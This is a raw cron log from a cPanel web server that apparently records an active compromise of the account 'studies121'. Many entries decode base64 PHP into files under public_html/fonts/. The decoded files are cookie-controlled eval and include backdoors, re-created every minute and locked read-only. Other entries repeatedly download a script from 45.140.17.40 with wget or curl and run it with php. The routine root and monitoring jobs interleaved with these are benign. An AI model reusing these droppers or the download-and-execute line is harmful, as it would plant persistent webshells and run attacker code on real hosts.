Sep 22 08:17:01 ip-184-168-122-23 CROND[24526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:17:01 ip-184-168-122-23 CROND[24528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:17:01 ip-184-168-122-23 CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:17:01 ip-184-168-122-23 CROND[24531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:18:01 ip-184-168-122-23 CROND[24668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:18:01 ip-184-168-122-23 CROND[24673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:18:01 ip-184-168-122-23 CROND[24671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:18:01 ip-184-168-122-23 CROND[24670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:18:01 ip-184-168-122-23 CROND[24672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:19:01 ip-184-168-122-23 CROND[24836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:19:01 ip-184-168-122-23 CROND[24837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:19:01 ip-184-168-122-23 CROND[24839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:19:01 ip-184-168-122-23 CROND[24841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:20:01 ip-184-168-122-23 CROND[24998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:20:01 ip-184-168-122-23 CROND[24999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:20:01 ip-184-168-122-23 CROND[25002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:20:01 ip-184-168-122-23 CROND[25008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 08:21:01 ip-184-168-122-23 CROND[25245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:21:01 ip-184-168-122-23 CROND[25246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:21:01 ip-184-168-122-23 CROND[25243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:21:01 ip-184-168-122-23 CROND[25244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:22:01 ip-184-168-122-23 CROND[25437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:22:01 ip-184-168-122-23 CROND[25440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:22:01 ip-184-168-122-23 CROND[25441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:22:01 ip-184-168-122-23 CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:22:01 ip-184-168-122-23 CROND[25442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:23:01 ip-184-168-122-23 CROND[25600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:23:01 ip-184-168-122-23 CROND[25602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:23:01 ip-184-168-122-23 CROND[25604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:23:01 ip-184-168-122-23 CROND[25606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:24:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:24:01 ip-184-168-122-23 CROND[25848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:24:01 ip-184-168-122-23 CROND[25849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:24:01 ip-184-168-122-23 CROND[25850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:24:01 ip-184-168-122-23 CROND[25854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:25:02 ip-184-168-122-23 CROND[26013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:25:02 ip-184-168-122-23 CROND[26014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:25:02 ip-184-168-122-23 CROND[26015]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 08:25:02 ip-184-168-122-23 CROND[26017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:25:02 ip-184-168-122-23 CROND[26021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:25:02 ip-184-168-122-23 CROND[26022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:25:02 ip-184-168-122-23 CROND[26024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:26:01 ip-184-168-122-23 CROND[26243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:26:01 ip-184-168-122-23 CROND[26248]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 22 08:26:01 ip-184-168-122-23 CROND[26247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:26:01 ip-184-168-122-23 CROND[26246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:26:01 ip-184-168-122-23 CROND[26245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:26:01 ip-184-168-122-23 CROND[26249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 08:27:01 ip-184-168-122-23 CROND[26499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:27:01 ip-184-168-122-23 CROND[26501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:27:01 ip-184-168-122-23 CROND[26504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:27:01 ip-184-168-122-23 CROND[26503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:28:01 ip-184-168-122-23 CROND[26636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:28:01 ip-184-168-122-23 CROND[26638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:28:01 ip-184-168-122-23 CROND[26641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:28:01 ip-184-168-122-23 CROND[26640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:28:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
